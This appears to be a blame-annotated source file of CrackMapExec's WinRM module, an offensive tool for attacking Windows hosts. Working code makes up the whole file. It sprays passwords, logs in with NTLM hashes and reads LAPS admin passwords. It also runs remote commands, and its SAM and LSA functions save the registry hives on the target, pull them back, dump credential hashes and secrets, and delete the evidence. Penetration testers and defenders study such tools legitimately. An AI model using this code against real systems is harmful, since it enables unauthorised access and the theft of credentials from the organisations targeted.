2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2023-03-10 00:58:36 +00:00
import datetime
import os
2020-04-28 19:30:18 +00:00
2017-10-25 02:08:19 +00:00
import requests
from impacket . smbconnection import SMBConnection , SessionError
from cme . connection import *
from cme . helpers . logger import highlight
2021-11-20 21:37:14 +00:00
from cme . helpers . bloodhound import add_user_bh
2022-02-11 21:38:39 +00:00
from cme . protocols . ldap . smbldap import LDAPConnect
2017-10-25 02:08:19 +00:00
from cme . logger import CMEAdapter
2020-04-28 19:30:18 +00:00
from pypsrp . client import Client
2023-03-10 00:58:36 +00:00
from impacket . examples . secretsdump import LocalOperations , LSASecrets , SAMHashes
2017-10-25 02:08:19 +00:00
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests . packages . urllib3 . exceptions import InsecureRequestWarning
requests . packages . urllib3 . disable_warnings ( InsecureRequestWarning )
2023-03-10 00:58:36 +00:00
2020-04-28 11:24:01 +00:00
class SuppressFilter ( logging . Filter ) :
# remove warning https://github.com/diyan/pywinrm/issues/269
def filter ( self , record ) :
return ' wsman ' not in record . getMessage ( )
2017-10-25 02:08:19 +00:00
2023-03-10 00:58:36 +00:00
class winrm ( connection ) :
2017-10-25 02:08:19 +00:00
def __init__ ( self , args , db , host ) :
self . domain = None
2020-07-28 14:16:06 +00:00
self . server_os = None
2022-02-23 20:09:49 +00:00
self . output_filename = None
2023-03-10 00:58:36 +00:00
self . endpoint = None
self . port = None
self . hash = None
2023-03-10 04:04:59 +00:00
self . lmhash = None
self . nthash = None
2017-10-25 02:08:19 +00:00
connection . __init__ ( self , args , db , host )
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
winrm_parser = parser . add_parser ( ' winrm ' , help = " own stuff using WINRM " , parents = [ std_parser , module_parser ] )
2019-08-16 13:58:26 +00:00
winrm_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] , help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
2020-04-30 14:06:57 +00:00
winrm_parser . add_argument ( " --no-bruteforce " , action = ' store_true ' , help = ' No spray when using file for username and password (user1 => password1, user2 => password2 ' )
winrm_parser . add_argument ( " --continue-on-success " , action = ' store_true ' , help = " continues authentication attempts even after successes " )
2021-05-30 20:49:12 +00:00
winrm_parser . add_argument ( " --port " , type = int , default = 0 , help = " Custom WinRM port " )
2022-06-17 22:00:12 +00:00
winrm_parser . add_argument ( " --ssl " , action = ' store_true ' , help = " Connect to SSL Enabled WINRM " )
2022-03-31 10:52:08 +00:00
winrm_parser . add_argument ( " --ignore-ssl-cert " , action = ' store_true ' , help = " Ignore Certificate Verification " )
2022-02-11 21:38:39 +00:00
winrm_parser . add_argument ( " --laps " , dest = ' laps ' , metavar = " LAPS " , type = str , help = " LAPS authentification " , nargs = ' ? ' , const = ' administrator ' )
2017-10-25 02:08:19 +00:00
dgroup = winrm_parser . add_mutually_exclusive_group ( )
dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , default = None , help = " domain to authenticate to " )
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2020-04-30 14:06:57 +00:00
2022-02-23 20:09:49 +00:00
cgroup = winrm_parser . add_argument_group ( " Credential Gathering " , " Options for gathering credentials " )
cegroup = cgroup . add_mutually_exclusive_group ( )
cegroup . add_argument ( " --sam " , action = ' store_true ' , help = ' dump SAM hashes from target systems ' )
cegroup . add_argument ( " --lsa " , action = ' store_true ' , help = ' dump LSA secrets from target systems ' )
2017-10-25 02:08:19 +00:00
cgroup = winrm_parser . add_argument_group ( " Command Execution " , " Options for executing commands " )
cgroup . add_argument ( ' --no-output ' , action = ' store_true ' , help = ' do not retrieve command output ' )
cgroup . add_argument ( " -x " , metavar = " COMMAND " , dest = ' execute ' , help = " execute the specified command " )
cgroup . add_argument ( " -X " , metavar = " PS_COMMAND " , dest = ' ps_execute ' , help = ' execute the specified PowerShell command ' )
return parser
def proto_flow ( self ) :
self . proto_logger ( )
if self . create_conn_obj ( ) :
self . enum_host_info ( )
2022-02-11 21:38:39 +00:00
if self . print_host_info ( ) :
if self . login ( ) :
if hasattr ( self . args , ' module ' ) and self . args . module :
self . call_modules ( )
else :
self . call_cmd_args ( )
2017-10-25 02:08:19 +00:00
def proto_logger ( self ) :
2023-03-10 00:58:36 +00:00
self . logger = CMEAdapter ( extra = {
' protocol ' : ' SMB ' ,
' host ' : self . host ,
' port ' : ' NONE ' ,
' hostname ' : ' NONE '
} )
2017-10-25 02:08:19 +00:00
def enum_host_info ( self ) :
2020-06-20 10:20:53 +00:00
# smb no open, specify the domain
2020-04-29 10:28:47 +00:00
if self . args . domain :
self . domain = self . args . domain
self . logger . extra [ ' hostname ' ] = self . hostname
else :
2017-10-25 02:08:19 +00:00
try :
2020-04-29 10:28:47 +00:00
smb_conn = SMBConnection ( self . host , self . host , None )
try :
smb_conn . login ( ' ' , ' ' )
except SessionError as e :
2022-02-11 21:38:39 +00:00
pass
2017-10-25 02:08:19 +00:00
2020-09-06 13:21:38 +00:00
self . domain = smb_conn . getServerDNSDomainName ( )
2020-04-29 10:28:47 +00:00
self . hostname = smb_conn . getServerName ( )
2020-06-20 10:20:53 +00:00
self . server_os = smb_conn . getServerOS ( )
2020-04-29 10:28:47 +00:00
self . logger . extra [ ' hostname ' ] = self . hostname
2017-10-25 02:08:19 +00:00
2020-04-29 10:28:47 +00:00
try :
smb_conn . logoff ( )
except :
pass
2017-10-25 02:08:19 +00:00
2020-04-29 10:28:47 +00:00
except Exception as e :
logging . debug ( " Error retrieving host domain: {} specify one manually with the ' -d ' flag " . format ( e ) )
2017-10-25 02:08:19 +00:00
2020-04-29 10:28:47 +00:00
if self . args . domain :
self . domain = self . args . domain
2017-10-25 02:08:19 +00:00
2020-04-29 10:28:47 +00:00
if self . args . local_auth :
self . domain = self . hostname
2017-10-25 02:08:19 +00:00
2023-02-12 21:03:38 +00:00
self . output_filename = os . path . expanduser ( ' ~/.cme/logs/ {} _ {} _ {} ' . format ( self . hostname , self . host , datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " ) ) )
self . output_filename = self . output_filename . replace ( " : " , " - " )
2022-02-11 21:38:39 +00:00
def laps_search ( self , username , password , ntlm_hash , domain ) :
2023-03-10 00:58:36 +00:00
ldap_conn = LDAPConnect ( self . domain , " 389 " , self . domain )
login = ldap_conn . plaintext_login (
domain ,
username [ 0 ] if username else ' ' ,
password [ 0 ] if password else ' ' ,
ntlm_hash [ 0 ] if ntlm_hash else ' '
)
if not login :
logging . debug ( ' LAPS login failed with account {} ' . format ( username ) )
2022-02-11 21:38:39 +00:00
return False
2023-03-10 00:58:36 +00:00
search_filter = f " (&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name= ' { self . hostname } )) "
attributes = [ ' ms-MCS-AdmPwd ' , ' samAccountname ' ]
result = login . search (
searchFilter = search_filter ,
attributes = attributes ,
sizeLimit = 0
)
2022-02-11 21:38:39 +00:00
msMCSAdmPwd = ' '
sAMAccountName = ' '
for item in result :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
for computer in item [ ' attributes ' ] :
if str ( computer [ ' type ' ] ) == " sAMAccountName " :
sAMAccountName = str ( computer [ ' vals ' ] [ 0 ] )
else :
msMCSAdmPwd = str ( computer [ ' vals ' ] [ 0 ] )
logging . debug ( " Computer: {:<20} Password: {} {} " . format ( sAMAccountName , msMCSAdmPwd , self . hostname ) )
self . username = self . args . laps
self . password = msMCSAdmPwd
if msMCSAdmPwd == ' ' :
logging . debug ( ' msMCSAdmPwd is empty, account cannot read LAPS property for {} ' . format ( self . hostname ) )
return False
if ntlm_hash :
hash_ntlm = hashlib . new ( ' md4 ' , msMCSAdmPwd . encode ( ' utf-16le ' ) ) . digest ( )
self . hash = binascii . hexlify ( hash_ntlm ) . decode ( )
self . domain = self . hostname
return True
2017-10-25 02:08:19 +00:00
def print_host_info ( self ) :
2020-06-20 10:20:53 +00:00
if self . args . domain :
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " HTTP "
2020-06-20 10:20:53 +00:00
self . logger . info ( self . endpoint )
2021-10-16 19:37:06 +00:00
else :
self . logger . extra [ ' protocol ' ] = " SMB "
2023-03-10 00:58:36 +00:00
self . logger . info ( u " {} (name: {} ) (domain: {} ) " . format ( self . server_os , self . hostname , self . domain ) )
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " HTTP "
2020-06-20 10:20:53 +00:00
self . logger . info ( self . endpoint )
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " WINRM "
2022-02-11 21:38:39 +00:00
if self . args . laps :
return self . laps_search ( self . args . username , self . args . password , self . args . hash , self . domain )
return True
2017-10-25 02:08:19 +00:00
def create_conn_obj ( self ) :
endpoints = [
2021-05-30 20:49:12 +00:00
' https:// {} : {} /wsman ' . format ( self . host , self . args . port if self . args . port else 5986 ) ,
' http:// {} : {} /wsman ' . format ( self . host , self . args . port if self . args . port else 5985 )
2017-10-25 02:08:19 +00:00
]
for url in endpoints :
try :
2020-07-30 13:14:31 +00:00
requests . get ( url , verify = False , timeout = 3 )
2017-10-25 02:08:19 +00:00
self . endpoint = url
if self . endpoint . startswith ( ' https:// ' ) :
2021-05-30 20:49:12 +00:00
self . port = self . args . port if self . args . port else 5986
2017-10-25 02:08:19 +00:00
else :
2021-05-30 20:49:12 +00:00
self . port = self . args . port if self . args . port else 5985
2017-10-25 02:08:19 +00:00
self . logger . extra [ ' port ' ] = self . port
return True
except Exception as e :
if ' Max retries exceeded with url ' not in str ( e ) :
logging . debug ( ' Error in WinRM create_conn_obj: ' + str ( e ) )
return False
def plaintext_login ( self , domain , username , password ) :
try :
2020-04-28 11:24:01 +00:00
from urllib3 . connectionpool import log
log . addFilter ( SuppressFilter ( ) )
2022-02-11 21:38:39 +00:00
if not self . args . laps :
self . password = password
self . username = username
self . domain = domain
2022-03-31 10:52:08 +00:00
if self . args . ssl and self . args . ignore_ssl_cert :
2023-03-10 00:58:36 +00:00
self . conn = Client (
self . host ,
auth = ' ntlm ' ,
username = u ' {} \\ {} ' . format ( domain , self . username ) ,
password = self . password ,
ssl = True ,
cert_validation = False
)
2022-03-31 10:52:08 +00:00
elif self . args . ssl :
2023-03-10 00:58:36 +00:00
self . conn = Client (
self . host ,
auth = ' ntlm ' ,
username = u ' {} \\ {} ' . format ( domain , self . username ) ,
password = self . password ,
ssl = True
)
2022-03-31 10:52:08 +00:00
else :
2023-03-10 00:58:36 +00:00
self . conn = Client (
self . host ,
auth = ' ntlm ' ,
username = u ' {} \\ {} ' . format ( domain , self . username ) ,
password = self . password ,
ssl = False
)
2017-10-25 02:08:19 +00:00
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
# we could just authenticate without running a command :) (probably)
2020-04-28 19:30:18 +00:00
self . conn . execute_ps ( " hostname " )
2017-10-25 02:08:19 +00:00
self . admin_privs = True
2023-03-10 00:58:36 +00:00
self . logger . success (
u ' {} \\ {} : {} {} ' . format (
self . domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' )
)
)
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2020-04-30 14:06:57 +00:00
if not self . args . continue_on_success :
return True
2017-10-25 02:08:19 +00:00
except Exception as e :
2020-06-20 10:26:32 +00:00
if " with ntlm " in str ( e ) :
2023-03-10 00:58:36 +00:00
self . logger . error (
u ' {} \\ {} : {} ' . format (
self . domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8
)
)
2020-06-20 10:26:32 +00:00
else :
2023-03-10 00:58:36 +00:00
self . logger . error (
u ' {} \\ {} : {} " {} " ' . format (
self . domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
e
)
)
2017-10-25 02:08:19 +00:00
return False
2020-06-22 10:25:00 +00:00
def hash_login ( self , domain , username , ntlm_hash ) :
try :
from urllib3 . connectionpool import log
log . addFilter ( SuppressFilter ( ) )
2023-03-10 04:04:59 +00:00
lmhash = ' 00000000000000000000000000000000: '
nthash = ' '
2020-06-22 10:25:00 +00:00
2022-02-11 21:38:39 +00:00
if not self . args . laps :
self . username = username
2023-03-10 00:58:36 +00:00
# This checks to see if we didn't provide the LM Hash
2022-02-11 21:38:39 +00:00
if ntlm_hash . find ( ' : ' ) != - 1 :
2023-03-10 04:04:59 +00:00
lmhash , nthash = ntlm_hash . split ( ' : ' )
2022-02-11 21:38:39 +00:00
else :
2023-03-10 04:04:59 +00:00
nthash = ntlm_hash
ntlm_hash = lmhash + nthash
if lmhash :
self . lmhash = lmhash
if nthash :
self . nthash = nthash
2020-06-22 10:25:00 +00:00
else :
2023-03-10 04:04:59 +00:00
nthash = self . hash
2022-06-17 21:04:11 +00:00
2022-02-11 21:38:39 +00:00
self . domain = domain
2022-03-31 10:52:08 +00:00
if self . args . ssl and self . args . ignore_ssl_cert :
2023-03-10 00:58:36 +00:00
self . conn = Client (
self . host ,
auth = ' ntlm ' ,
username = u ' {} \\ {} ' . format ( self . domain , self . username ) ,
2023-03-10 04:04:59 +00:00
password = lmhash + nthash ,
2023-03-10 00:58:36 +00:00
ssl = True ,
cert_validation = False
)
2022-03-31 10:52:08 +00:00
elif self . args . ssl :
2023-03-10 00:58:36 +00:00
self . conn = Client (
self . host ,
auth = ' ntlm ' ,
username = u ' {} \\ {} ' . format ( self . domain , self . username ) ,
2023-03-10 04:04:59 +00:00
password = lmhash + nthash ,
2023-03-10 00:58:36 +00:00
ssl = True
)
2022-03-31 10:52:08 +00:00
else :
2023-03-10 00:58:36 +00:00
self . conn = Client (
self . host ,
auth = ' ntlm ' ,
username = u ' {} \\ {} ' . format ( self . domain , self . username ) ,
2023-03-10 04:04:59 +00:00
password = lmhash + nthash ,
2023-03-10 00:58:36 +00:00
ssl = False
)
2020-06-22 10:25:00 +00:00
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
# we could just authenticate without running a command :) (probably)
self . conn . execute_ps ( " hostname " )
self . admin_privs = True
2023-03-10 00:58:36 +00:00
self . logger . success (
u ' {} \\ {} : {} {} ' . format (
self . domain ,
self . username ,
2023-03-10 04:04:59 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2023-03-10 00:58:36 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' )
)
)
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2020-06-22 10:25:00 +00:00
if not self . args . continue_on_success :
return True
except Exception as e :
if " with ntlm " in str ( e ) :
2023-03-10 00:58:36 +00:00
self . logger . error (
u ' {} \\ {} : {} ' . format (
self . domain ,
self . username ,
2023-03-10 04:04:59 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8
2023-03-10 00:58:36 +00:00
)
)
2020-06-22 10:25:00 +00:00
else :
2023-03-10 00:58:36 +00:00
self . logger . error (
u ' {} \\ {} : {} " {} " ' . format (
self . domain ,
self . username ,
2023-03-10 04:04:59 +00:00
nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2023-03-10 00:58:36 +00:00
e
)
)
2020-06-22 10:25:00 +00:00
return False
2017-10-25 02:08:19 +00:00
def execute ( self , payload = None , get_output = False ) :
2020-04-28 19:30:18 +00:00
try :
r = self . conn . execute_cmd ( self . args . execute )
except :
self . logger . debug ( ' Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok ! ' )
r = self . conn . execute_ps ( self . args . execute )
2017-10-25 02:08:19 +00:00
self . logger . success ( ' Executed command ' )
2020-04-28 19:30:18 +00:00
self . logger . highlight ( r [ 0 ] )
2017-10-25 02:08:19 +00:00
def ps_execute ( self , payload = None , get_output = False ) :
2020-04-28 19:30:18 +00:00
r = self . conn . execute_ps ( self . args . ps_execute )
2017-10-25 02:08:19 +00:00
self . logger . success ( ' Executed command ' )
2022-03-31 10:52:08 +00:00
self . logger . highlight ( r [ 0 ] )
2022-02-23 20:09:49 +00:00
def sam ( self ) :
self . conn . execute_cmd ( " reg save HKLM \ SAM C: \\ windows \\ temp \\ SAM && reg save HKLM \ SYSTEM C: \\ windows \\ temp \\ SYSTEM " )
self . conn . fetch ( " C: \\ windows \\ temp \\ SAM " , self . output_filename + " .sam " )
self . conn . fetch ( " C: \\ windows \\ temp \\ SYSTEM " , self . output_filename + " .system " )
self . conn . execute_cmd ( " del C: \\ windows \\ temp \\ SAM && del C: \\ windows \\ temp \\ SYSTEM " )
2023-03-10 00:58:36 +00:00
local_operations = LocalOperations ( self . output_filename + " .system " )
boot_key = local_operations . getBootKey ( )
SAM = SAMHashes (
self . output_filename + " .sam " ,
boot_key ,
isRemote = None ,
perSecretCallback = lambda secret : self . logger . highlight ( secret )
)
2022-02-23 20:09:49 +00:00
SAM . dump ( )
SAM . export ( self . output_filename + " .sam " )
def lsa ( self ) :
self . conn . execute_cmd ( " reg save HKLM \ SECURITY C: \\ windows \\ temp \\ SECURITY && reg save HKLM \ SYSTEM C: \\ windows \\ temp \\ SYSTEM " )
self . conn . fetch ( " C: \\ windows \\ temp \\ SECURITY " , self . output_filename + " .security " )
self . conn . fetch ( " C: \\ windows \\ temp \\ SYSTEM " , self . output_filename + " .system " )
self . conn . execute_cmd ( " del C: \\ windows \\ temp \\ SYSTEM && del C: \\ windows \\ temp \\ SECURITY " )
2023-03-10 00:58:36 +00:00
local_operations = LocalOperations ( self . output_filename + " .system " )
boot_key = local_operations . getBootKey ( )
LSA = LSASecrets (
self . output_filename + " .security " ,
boot_key ,
None ,
isRemote = None ,
perSecretCallback = lambda secret_type , secret : self . logger . highlight ( secret )
)
2022-02-23 20:09:49 +00:00
LSA . dumpCachedHashes ( )
2022-06-17 21:04:11 +00:00
LSA . dumpSecrets ( )